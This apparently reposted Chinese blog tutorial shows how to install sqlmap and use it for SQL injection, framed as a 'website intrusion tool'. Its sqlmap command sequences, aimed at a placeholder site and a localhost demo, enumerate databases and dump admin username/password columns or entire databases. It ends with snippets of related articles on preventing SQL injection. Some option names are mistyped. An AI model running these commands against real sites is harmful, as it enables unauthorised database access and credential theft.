网站入侵工具 SQL注入神器

0x 00　前言

　　　　SQLMAP

0x 01 注入原理

不说了

*****************************************结束分割线*****************************************

0x 02 安装SQLMap

　　1. 安装python

　　　　官网https://www.python.org/ 选择最新版本下载安装即可

　　　　因为SQLMap使用Python写的，所以没有Python的环境SQLMap无法运行

1、linux下安装python3

a、准备编译环境(环境如果不对的话，可能遇到各种问题，比如wget无法下载https链接的文件)

1 2	`yum groupinstall` `‘Development Tools‘` `yum install zlib-devel bzip2-devel openssl-devel ncurses-devel`

2 下载 Python3.5代码包

      wget  https://www.python.org/ftp/python/3.5.0/Python-3.5.0.tar.xz

在安装包中有一个README的文件，里面有写如何安装

      tar Jxvf  Python-3.5.0.tar.xz
      cd Python-3.5.0
      ./configure --prefix=/usr/local/python3
      make && make install

做软链：

      ln -s /usr/local/python3/bin/python3.5 /usr/local/bin/python3

安装成功了！

如果提示：Ignoring ensurepip failure: pip 7.1.2 requires SSL/TLS

这是原因没有安装或升级oenssl:

      yum install openssl-devel

再次重复编译方案python3.5:

提示同时成功安装pip-7.12与setuptools！

pip3与pip都提示没有错误！

做软链：

      ln -s /usr/local/python3/bin/pip3.5 /usr/local/bin/pip

升级pip到最新版本：

      pip install --upgrade pip

pip安装成功啦！ (扩展python的工具)

注：--no-check-certificate 表示安装时“不检查证书”，不加上可能无法安装。

2.安装包

requests包：

      pip install requests

pyquery包：

      pip install pyquery

pymysql包：

      pip install pymysql

2. 安装SQLMap

　　　　官网 http://sqlmap.org/ 选择最近版本安装即可

0x 03 SQLMap常用命令介绍

　　1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"

　　　　判断id参数是否存在注入：结果中包含 “id” is Vulnerable 字段表示存在注入

　　　　存在注入，下面的步骤才可以执行成功~

　　2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs

　　　　列举能列出的所有数据库名

　　3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

　　　　列出当前使用的数据库名，假设列出“sqltest”数据库　　

　　4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba

　　　　判断该注入点是否有管理员权限：返回true 表示是管理员

　　5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

　　　　获取sqltest中的所有表，假设有"admin"表

　　6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

　　　　列举表admin的字段（列名），假设存在"username","password"字段

　　7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

　　　　下载字段username，password的值，若询问是否破解md5加密，选择no即可

　　　　至此，对一个简单的注入点（GET方式），现在就已经得到了我们想要的数据

　　　　想看工具的注入过程使用-v参数

　　　　-level 会提高注入等级（默认0 只会判断get，post参数是否有注入点）

　　　　若注入点是POST方式，或是注入点才Cookie，User-Agent中，可以利用-Date 参数 -Cookie参数指定

　　　　当然用buip Suite架个代理，截取数据包，直接 -r 参数引入数据包也可以完成上述的注入情况的~

0x 04 注入Demo

　　　　本次演示使用Apache+Php +Mysql 环境，其他环境的话

　　　　使用SQLMap输入还是相同的命令，这点SQLMap做的好方便

　　　　sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有数据库名

　　　　sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出当前数据库

　　　　sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba 　　判断注入点是否有管理员权限

　　　　sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables　　猜表名

　　　　sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns　　猜字段名

　　　　sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name"　--dump　猜id和name的值

　　　　网络上流传的脱裤用的可就是下面的一句话

　　　　sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all

　　　　突然发现强大的东西往往仅仅是一句话 ! !

　　　　这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中

原文地址：https://www.cnblogs.com/xiaommvik/p/8350972.html

时间： 2024-07-31 14:30:46

网站入侵工具 SQL注入神器的相关文章

『安全工具』注入神器SQLMAP

原文:『安全工具』注入神器SQLMAP Pic by Baidu 0x 00 前言正是SQLMAP这种神器的存在,SQL注入简直Easy到根本停不下来.... PS:国内类似软件也有阿D,明小子,挖掘机,当你用过他们之后你才会发现SQLMap才是绝对的注入神器 0x 01 注入原理 *****************************************开始分割线***************************************** 时间原因,这段内容就先不写了就是因为

php网站如何防止sql注入？

网站的运行安全肯定是每个站长必须考虑的问题,大家知道,大多数黑客攻击网站都是采用sql注入,这就是我们常说的为什么 ? 最原始的静态的网站反而是最安全的.今天我们讲讲PHP注入的安全规范,防止自己的网站被sql注入. 如今主流的网站开发语言还是php,那我们就从php网站如何防止sql注入开始说起: Php注入的安全防范通过上面的过程,我们可以了解到php注入的原理和手法,当然我们也同样可以制定出相应该的防范方法: 首先是对服务器的安全设置,这里主要是php+mysql的安全设置和linux

谈谈PHP网站的防SQL注入

SQL(Structured Query Language)即结构化查询语言.SQL 注入,就是把 SQL 命令插入到 Web 表单的输入域或页面请求参数的查询字符串中,在 Web表单向 Web 服务器提交 GET 或 POST 请求时,如果服务器端未严格验证参数的有效性和合法性,将导致数据库服务器执行恶意的 SQL 命令. SQL 注入攻击的过程: (1)判断 Web 应用是否可以进行 SQL 注入. (2)寻找 SQL 注入点. (3)猜解用户名和密码. (4)寻找 Web 系统管理后台入口

SQL注入神器——sqlmap

渗透测试中,SQL注入是一种很常见的高危漏洞,但是如果我们仅仅靠手工注入的话,那么效率是十分低下的,并且有时有些语句还记不住,而sqlmap就是一款专门针对SQL注入的自动化工具! 下载地址:http://sqlmap.org/ 虽然sqlmap是针对SQL注入漏洞的利用神器,但是如果完全依赖于它也是不行的,有时往往需要与手工结合来绕过相关的防护设备或机制!

网站如何防止sql注入攻击的解决办法

首先我们来了解下什么是SQL注入,SQL注入简单来讲就是将一些非法参数插入到网站数据库中去,执行一些sql命令,比如查询数据库的账号密码,数据库的版本,数据库服务器的IP等等的一些操作,sql注入是目前网站漏洞中危害最大的一个漏洞,受攻击的网站占大多数都是sql注入攻击. sql注入攻击用英语来讲Structured Query Language,在网站的编程语言当中是一种比较另类的网站开发语言,我们网站安全行业通常来讲sql是用来数据库查询的一种网站开发语言,同时也是一种脚本文件的一个文件名,

网站如何防止sql注入×××的解决办法

首先我们来了解下什么是SQL注入,SQL注入简单来讲就是将一些非法参数插入到网站数据库中去,执行一些sql命令,比如查询数据库的账号密码,数据库的版本,数据库服务器的IP等等的一些操作,sql注入是目前网站漏洞中危害最大的一个漏洞,受×××的网站占大多数都是sql注入×××. sql注入×××用英语来讲Structured Query Language,在网站的编程语言当中是一种比较另类的网站开发语言,我们网站安全行业通常来讲sql是用来数据库查询的一种网站开发语言,同时也是一种脚本文件的一个文

网站mysql防止sql注入*** 3种方法总结

mysql数据库一直以来都遭受到sql注入***的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的***都是与sql注入***有关,那么mysql数据库如何防止sql注入呢?下面我们SINE安全技术针对于这个sql注入问题总结3种方案去防止sql注入***. sql注入产生的原因很简单,就是访问用户通过网站前端对网站可以输入参数的地方进行提交参数,参数里插入了一些恶意参数传入到服务器后端里去,服务器后端并没有对其进行详细的安全过滤,导致直接进入

sql 注入神器sqlmap 源码分析之调试sqlmap

相信大家平时用sqlmap 命令,比如 python sqlmap.py -u"https://team.oschina.net/action/team/create" --data="name=onlyGuest&ident=onlyGuest&sident=onlyGuest&temp=1431349990862" --dbs --dbms=mysql --cookie="JmHE4Nja6ZqH8Vw0cSxY%2FW4LT

如何防止网站被SQL注入攻击之java网站安全部署

SQL注入攻击(SQL injection)是目前网站安全以及服务器安全层面上是最具有攻击性,危害性较高,被黑客利用最多的一个漏洞,基本上针对于网站代码,包括JAVA JSP PHP ASP apache tomcat 语言开发的代码都会存在sql注入漏洞. 随着JAVA JSP架构的市场份额越来越多,许多平台都使用JAVA开发,本文通过对sql注入的详细分析,从代码层面以及服务器层面,根本上来防止sql注入攻击. SQL注入漏洞的原理很简单,通俗来讲:就是程序员在编写网站代码的时候,一